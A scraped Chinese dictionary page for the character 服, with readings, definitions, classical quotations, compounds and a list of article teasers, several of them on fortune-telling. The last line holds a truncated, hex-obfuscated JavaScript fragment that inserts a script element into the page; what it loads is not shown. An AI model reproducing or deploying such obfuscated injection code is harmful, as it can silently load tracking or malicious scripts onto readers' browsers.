首页 / 字典 /

分类: 2022-06-30 04:57

图说服

发音

字名

拼音

首部

笔画

8

五行

繁体

五笔

EBCY

解释

[ fú ]

1.衣服;衣裳:制~。便~。

2.丧服:有~在身。

3.穿(衣服):~丧。

4.吃(药):~药。内~。每次~三片。

5.担任(职务);承当(义务或刑罚):~刑。~兵役。

6.承认;服从;信服:~输。心~口~。你有道理,我算~了你了。

7.使信服:~众。以理~人。

8.适应:不~水土。

9.姓。

[ fù ]

用于中药;剂:一~药。

详细解释

1. 服 [fù]2. 服 [fú]

服 [fù]

〈名〉

  1. 车厢

    大车牝服二柯,有参分柯之二。——《考工记·车人》

    凡服耜,斩季材,以时入之。——《周礼·山虞》

  2. 负载;负荷

    车为服重致远,乘之则安,引之则利。——《墨子》

  3. [量词]——用于称中药剂量。一剂称一服

    定取金丹作几服,能令华表得千年。——北周· 庾信《燕歌行》

  4. 另见 fú

服 [fú]

〈动〉

  1. (会意。古文从舟,兼做声符。本义:舟两旁的夹木)

  2. 服从,顺服

    敌已服矣。——《吕氏春秋·论威》

    以一服八。——《孟子·梁惠王上》

    以力服人者,非心服也。——《孟子·公孙丑上》

    当舜之时,有苗不服。——《韩非子·五蠹》

    授之政,西土服。——《墨子·尚贤》

    远人不服而不能来也。——《论语·季氏》

    强国请服,弱国入朝。——汉· 贾谊《过秦论》

    又如:服听(服从听命);服低(屈服;低头);服杀(折服;倾倒。杀:用在动词后,表示程度深);服主(轻易服输的人);服属(顺从归属)

  3. 佩服;信服;使信服

    毛遂比至 楚,与十九人议论,十九人皆服。——《史记·平原君虞卿列传》

    后数日驿至,果地震陇西,于是皆服其妙。—— 范晔《后汉书·张衡传》

    服人如何?——《论衡·问孔》

    又如:以理服人;心服(衷心信服);悦服(从心里佩服);服众(使众人心服);服善(佩服、顺从别人的长处);不服输

  4. 使用

    诸侯御荼,大夫服笏。——《荀子·大略》

    子弟犹归器,衣服裘衾车马,则必献其上,而后敢服用其次也。——《礼记·内则》

  5. 从事;致力

    以德就利,以官服事。——《墨子·尚贤》

    有事,弟子服其劳。——《论语》

    肇牵车牛,运服贾。——《书·酒诰》

    又如:服田(从事耕作,种田);服官(做官);服贾(从商,作买卖);服劳(服事效劳);服休(侍侯帝王宴息的近臣)

  6. 饮用或吞服药物

    即作汤二升,先服一升。——《三国志·方伎传》

    众人…便知他有不足之症,因问:“常服何药?”——《红楼梦》。又如:服毒;服饵(服食丹药);服鸩(饮毒酒自杀);服食(服用饮食之物)

  7. 担任;承当

    若农服田力穑。——《书·盘庚上》

    又如:服劳(服事效劳);服职(供职)

  8. 招认,承认,肯定,认可

    于是傅付许狱,考验首服。——《三国志·方伎传》

    又如:服过(承认自己的过错);服辩(认罪供状);服词(承认罪责之词)

  9. 穿着

    朝服衣冠,窥镜。——《战国策·齐策》

    亦不敢服垢弊以矫俗干名,但顺吾性而已。——宋· 司马光《训俭示康》

    昨望见妇女犹服夹领小袖。——《资治通鉴》

    又如:服卉(穿着用絺葛制的衣裳);服孝(带孝。穿孝服);服冕(穿着冕服)

  10. 佩带

    服太阿之剑。——秦· 李斯《谏逐客书》

    又如:服玉(佩玉);服媚(喜爱佩带);服剑(随身佩带的宝剑)

  11. 铭记,怀念 [engrave on one’s mind;always remember]

    得一善,则拳拳服膺,而弗之矣。——《中庸》

    又如:服膺(铭记在心)

  12. 任用

    忠臣危殆,谗人服矣。——《荀子》

  13. 实行;施行

    此古服道致士之法也。——《战国策·燕策一》

    又如:服行(施行,实行)

  14. 执持 。

    如:服臧(持着脏物)

  15. 明者固能察极,知人之所不能知,服人之所不能得。——马王堆 汉墓帛书《道原》

  16. 使习惯于

    后皇嘉树,橘徕服兮。——《楚辞·屈原·九章·橘颂》

    又如:不服水土

  17. 承受[刑役] 。

    如:服更(承受;接受)

  18. 遵从;遵守 。

    如:服习(遵循习尚);服善(遵行善道);服礼(遵行礼法);服度(遵守礼法)

  19. 通“负”( fù)。负荷;驾驶

    服牛乘马,引重致远,以利天下。——《易·系辞下》

    再鼓,服辇载粟而至。——《淮南子·人间》

    又如:服牛乘马(役使牛马驾车);服辂,服舆(驾车);服驯(驾驭车马);服御(驾驶车马)

  20. 通“覆”( fù)。遮盖,掩蔽

    道逢辇者,以其辇服其道。——《韩诗外传》

〈名〉

  1. 衣服,服装

    甘其食,美其服。——《老子》八十章

    长者加以金银华美之服,輙羞赧弃去之。——宋· 司马光《训俭示康》

    余幼好此奇服兮,年既老而不衰。——《楚辞·屈原·涉江》

    又如:工作服;服乘(指衣服车马);服养(衣服与食物);服御(指衣服、车马等器物)。又指丧服

    会仲孺有服。(有服:有丧服在身。)——《史记·武安侯传》

  2. 事情

    不学杂服,不能安礼。——《礼记·学记》

  3. 服丧

    三年服阙。——《风俗通·十反》

    服阙,服全椒长。——《后汉书·刘平传》

    又如:服满(服阙。服丧期满);服制(服丧制度。按生者与死者关系的远近亲疏,分为斩衰、齐衰、大功、小功、缌麻五等);服除(服丧期满);服假(丧假)

  4. 古代一车驾四马,居中的两匹叫“服”

    两服上襄。(上襄:指马头昂举。)——《诗·郑风 》

  5. 通“箙”。盛箭之器

    四牡翼翼,象弭鱼服。——《诗·小雅·采薇》

    衣三属之甲,操十二石之弩,负服五十个,置戈其上,冠胄带剑,赢三日之粮,日中而趋百里。——《荀子·议兵》

    又如:服无矢(箭筒内无箭。形容实力不强大)

  6. 通“鵩”。鸟名,又名山鴞,古以为不祥之鸟

    单于之岁兮,四月孟夏,庚子日施兮,服集于舍。——《史记·屈原贾生列传》

  7. 楚人命鴞曰服。

    谊为 长沙傅三年,有服飞入 谊舍,止于坐隅。——《汉书·贾谊传》

  8. 另见 fù

释义

服,fu,用也。一曰车右骑所以舟旋。《石经》变舟作月。马之周旋如舟之旋。故其字从舟。古者夹辕曰服马。其旁曰骖马。

英文

dose (measure word for medicine); to take (medicine); Taiwan pr.; garment; to serve (in the military, a prison sentence etc); mourning clothes; to wear mourning clothes; to obey; to convince; to admire; to acclimatize; dress; clothes

拼音二

拼音二发音

服字起源图

服组词

从风而服 粗服乱头 返我初服 服服贴贴 服牛乘马 服田力穑 服低做小 负固不服 弓调马服 侯服玉食 胡服骑射 华冠丽服 黄冠草服 黄冠野服 骥服盐车 金声玉服 口服心服 乱头粗服 浓妆艳服 奇装异服

上一篇:

下一篇:

猜你喜欢

  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

  • 1、小空亡房屋或者坟墓坐向恰逢在两山之间的正中线上称为“空缝”,名为小空亡,也叫阴阳差错。凶祸相对小。离卦之丙午、午丁的分界;坤卦之未坤、坤申的分界;兑卦之庚酉、酉辛的分界;乾卦之戌干、干亥的分界;坎卦之壬子、子癸的分界;艮卦之丑艮、艮寅的分界;震卦之甲卯..

    命理研究2024-03-09
  • 在人们眼中,梁山108好汉中,天罡普遍武功高强,战力惊人,谋略过人,地煞普遍偏弱,甚至有的更是弱得离奇,如宋江的胞弟宋清,就是一个普通的农民,仅仅比白面书生强一丁点而已。然而,72地煞之中并不全是弱鸡,其中有一个人的战力很高,堪称最强地煞,不但在地煞之中..

    魁哥说历史2024-03-09
  • 經名:崔介入藥鏡注解。元混然子王玠注。一卷。底本出處:《正統道藏》洞真部玉訣類。崔公入藥鏡注解序神仙之學,豈凡夫俗子之可聞。必是大根大器決烈丈夫、明眼高士之可為也。且夫學者為者何事?外則窮天地施化之理,內則明身心運用之機。然雖如是,宣尼若不遇老子親授..

    道家古詩詞2024-03-05
  • 今生我们行持善法是为了成办解脱,而不是为了凑个热闹,因此平常修法若仅仅是走个过程,对于即生成办解脱而言还是远远不够的。我相信谁也没有听说过有哪一位历代传承祖师仅仅依靠走个过程的修法而最终成办解脱的。因为祖师都是依据传承教言,精进实修而获得成就的,因此..

    清净的本源2024-03-05
  • 许多学佛的居士都曾听过这样一种说法:不读《华严经》,不知佛富贵。那么这部被誉为“经中之王”的大经究竟殊胜在何处呢?缘起殊胜——释尊随自意语,直畅本怀释迦牟尼佛出世的唯一目标,是为了度众生成佛。所以《法华经》上说:佛以一大事因缘故出现于世。为欲令诸众生..

    佛答2024-03-05
  • 易学命理唐老师/书网友:女1992生,请老师看看事业婚姻,已过三旬,婚姻还没有着落,父母家人一直催促,但烂桃花多,至今也没有遇到适合的人,看看什么时候才有脱单机会,婚姻能获得幸福吗?自由职业,看看未来财运好不好,何时能实现财富自由。【回复】坤造;壬申年,..

  • 关羽刚刚被杀,诸葛亮就强烈建议刘备斩杀刘封,他为何要这么做?他究竟在害怕什么?诸葛亮杀刘封刘封虽然是刘备的养子,但刘备对他非常好,即便有了刘禅这个亲生儿子,刘备仍然没有减轻对刘封的疼爱,所以刘封对刘备一直是忠心耿耿的,即便关羽身死,孟达劝降,刘封仍然..

  • 每天一首小诗词,每天一点小诗意诗人在诗词中用韵,叫做押韵。从《诗经》到后代的诗词,差不多没有不押韵的。民歌也没有不押韵的。在北方戏曲中,韵又叫辙,押韵叫合辙。而且不少新诗,就连当前流行的歌曲、小品、相声、对话、戏曲等各类文学艺术当中,都离不开它。因此..

  • 日柱就是一个人出生日的干支组合,比如甲子日生的人,日柱就是甲子,日元是甲木,日支是子水。日柱在八字中代表命主自己,通过日柱可以看出你人生命运的以下信息:1、可以看出命主的“生存状态”;日柱有干有支,日干代表命主,具有多种称谓比如:日元、日干、命主、元..

    命理研究2024-03-05
  • 过房七杀带三刑,母明父暗是偷生。我明我暗从化象,父死之时不送灵。庚金化成火相时,父亡见血不须疑。比肩三合族人害,三刑零落及离妻。比肩暗损及门房,兄弟无情被罔欺。如带比肩成别象,弟兄不睦报君知。妻带三合及坐妻,妻曾认得是亲支。坐妻透妻成别象,定主离妻再..

    命理研究2024-03-05
  • 水浒传中,梁山108好汉中有很多高手,如鲁智深、武松两人是步战高手,关胜、林冲两人是是马战高手,都是响当当的好汉。如果鲁智深拿禅杖,武松使戒刀,关胜用大刀,林冲用蛇矛,这四人两两公平单挑,谁能赢?谁是单挑之王?依据水浒传中相关内容,分析如下。鲁智深战武..

    魁哥说历史2024-03-05
  • 参造化之无机,测五行之妙理。判人命之得失,决一世之荣枯。法则取於日干,兴衰论乎月支。甲乙属木,最喜春生。壬癸属水,偏宜冬旺。丙丁火而夏明,庚辛金而秋锐。戊己两干之土,要旺四季之期。日乃自身,须究强弱。年为本主,宜细推详。年干父兮支母,日干己兮支妻。月..

    命理研究2024-02-26
  • 佛心待人,自己即佛;佛性悟人,人即是佛。修行到了“看一切人都是好人,一切事都是好事”的时候,就会发现生活中喜悦无处不在,你便拥有了一个完美的世界。当你用烦恼心来面对人生时,你会觉得一切都是业障,世界也会变得丑陋可憎。来是偶然走是必然,你若有一颗随缘不..

    学佛导航号2024-02-26
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();